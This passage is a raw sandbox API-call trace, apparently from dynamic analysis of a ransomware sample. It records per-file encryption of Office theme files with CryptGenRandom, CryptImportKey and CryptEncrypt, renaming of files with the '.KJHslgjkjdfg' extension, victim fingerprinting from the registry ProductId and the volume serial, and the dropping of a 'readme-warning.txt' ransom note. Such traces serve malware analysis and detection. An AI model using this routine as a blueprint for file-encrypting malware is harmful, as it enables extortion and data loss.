liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0178.330] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0178.330] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.330] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.330] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.330] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4c45, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x4c45, lpOverlapped=0x0) returned 1 [0178.331] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x4c50, dwBufLen=0x4c50 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x4c50) returned 1 [0178.331] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.331] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4c50, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x4c50, lpOverlapped=0x0) returned 1 [0178.331] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.331] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x4d24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.332] SetEndOfFile (hFile=0x12c) returned 1 [0178.334] GetProcessHeap () returned 0x990000 [0178.334] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0178.334] GetProcessHeap () returned 0x990000 [0178.334] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0178.335] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0178.335] CloseHandle (hObject=0x12c) returned 1 [0178.336] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c45, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0178.336] GetProcessHeap () returned 0x990000 [0178.336] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0178.336] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.336] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29dee20 | out: pbData=0x9af7b0, pdwDataLen=0x29dee20) returned 1 [0178.336] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.336] GetProcessHeap () returned 0x990000 [0178.336] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0178.336] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.336] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29dee20 | out: pbData=0x9af7f8, pdwDataLen=0x29dee20) returned 1 [0178.336] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.336] GetProcessHeap () returned 0x990000 [0178.336] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9fd9f0 [0178.336] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.336] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9fd9f0, pdwDataLen=0x29dee20 | out: pbData=0x9fd9f0, pdwDataLen=0x29dee20) returned 1 [0178.336] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.336] GetProcessHeap () returned 0x990000 [0178.336] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0178.336] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.336] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dea00 | out: pbData=0x9af840, pdwDataLen=0x29dea00) returned 1 [0178.337] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.337] GetProcessHeap () returned 0x990000 [0178.337] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0178.337] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.337] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea00 | out: pbData=0x9b18c8, pdwDataLen=0x29dea00) returned 1 [0178.337] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.337] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de9fc | out: phkResult=0x29de9fc*=0x12c) returned 0x0 [0178.337] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dea08, lpcbData=0x29dea04*=0x400 | out: lpType=0x0, lpData=0x29dea08*=0x30, lpcbData=0x29dea04*=0x18) returned 0x0 [0178.337] RegCloseKey (hKey=0x12c) returned 0x0 [0178.337] GetProcessHeap () returned 0x990000 [0178.337] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0178.337] GetProcessHeap () returned 0x990000 [0178.337] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0178.337] GetProcessHeap () returned 0x990000 [0178.337] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0178.337] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.337] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de7d4 | out: pbData=0x9b18c8, pdwDataLen=0x29de7d4) returned 1 [0178.337] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.338] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0178.338] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0178.338] GetProcessHeap () returned 0x990000 [0178.338] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0178.338] wsprintfA (in: param_1=0x29dea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0178.338] wsprintfA (in: param_1=0x29dee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0178.338] GetProcessHeap () returned 0x990000 [0178.338] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0178.338] wsprintfW (in: param_1=0x29dddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\readme-warning.txt") returned 81 [0178.338] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0178.339] WriteFile (in: hFile=0x12c, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29dddf8, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29dddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0178.340] CloseHandle (hObject=0x12c) returned 1 [0178.340] GetProcessHeap () returned 0x990000 [0178.340] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9fd9f0 | out: hHeap=0x990000) returned 1 [0178.340] GetProcessHeap () returned 0x990000 [0178.340] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0178.340] GetProcessHeap () returned 0x990000 [0178.340] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0178.340] GetProcessHeap () returned 0x990000 [0178.340] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0178.340] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0178.340] GetProcessHeap () returned 0x990000 [0178.341] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0178.341] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="STRTEDGE", cAlternateFileName="")) returned 1 [0178.341] GetProcessHeap () returned 0x990000 [0178.341] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x92) returned 0x9b0940 [0178.341] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0178.350] GetProcessHeap () returned 0x990000 [0178.350] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0178.350] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0178.351] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6c9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0178.351] GetProcessHeap () returned 0x990000 [0178.351] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x294) returned 0x9b1eb0 [0178.351] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0178.351] GetProcessHeap () returned 0x990000 [0178.351] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0178.351] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0178.351] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0178.351] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x7, lpOverlapped=0x0) returned 1 [0178.369] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.369] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.369] GetProcessHeap () returned 0x990000 [0178.369] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0178.369] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0178.369] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.369] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0178.369] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0178.370] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0178.370] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0178.370] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0178.370] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0178.370] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.370] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.370] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.370] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x6c9, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x6c9, lpOverlapped=0x0) returned 1 [0178.370] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x6d0, dwBufLen=0x6d0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x6d0) returned 1 [0178.370] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.370] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6d0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x6d0, lpOverlapped=0x0) returned 1 [0178.370] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.370] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x7a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.370] SetEndOfFile (hFile=0x12c) returned 1 [0178.373] GetProcessHeap () returned 0x990000 [0178.373] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0178.373] GetProcessHeap () returned 0x990000 [0178.373] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0178.373] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif.kjhslgjkjdfg")) returned 1 [0178.374] CloseHandle (hObject=0x12c) returned 1 [0178.374] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d180d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2d180d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe232, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="STRTEDGE.ELM", cAlternateFileName="")) returned 1 [0178.374] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0178.375] GetProcessHeap () returned 0x990000 [0178.375] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0178.375] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0178.375] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0178.375] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xe, lpOverlapped=0x0) returned 1 [0178.401] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.402] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.402] GetProcessHeap () returned 0x990000 [0178.402] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0178.403] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0178.403] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.403] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0178.403] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0178.403] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0178.403] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0178.403] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0178.403] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0178.403] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.403] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.404] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.404] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xe232, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0xe232, lpOverlapped=0x0) returned 1 [0178.414] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xe240, dwBufLen=0xe240 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xe240) returned 1 [0178.414] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.414] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xe240, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0xe240, lpOverlapped=0x0) returned 1 [0178.415] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.415] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xe314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.415] SetEndOfFile (hFile=0x12c) returned 1 [0178.418] GetProcessHeap () returned 0x990000 [0178.418] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0178.418] GetProcessHeap () returned 0x990000 [0178.418] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0178.418] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.elm.kjhslgjkjdfg")) returned 1 [0178.423] CloseHandle (hObject=0x12c) returned 1 [0178.423] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x271, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="STRTEDGE.INF", cAlternateFileName="")) returned 1 [0178.424] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0178.425] GetProcessHeap () returned 0x990000 [0178.425] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0178.425] CryptGenRandom 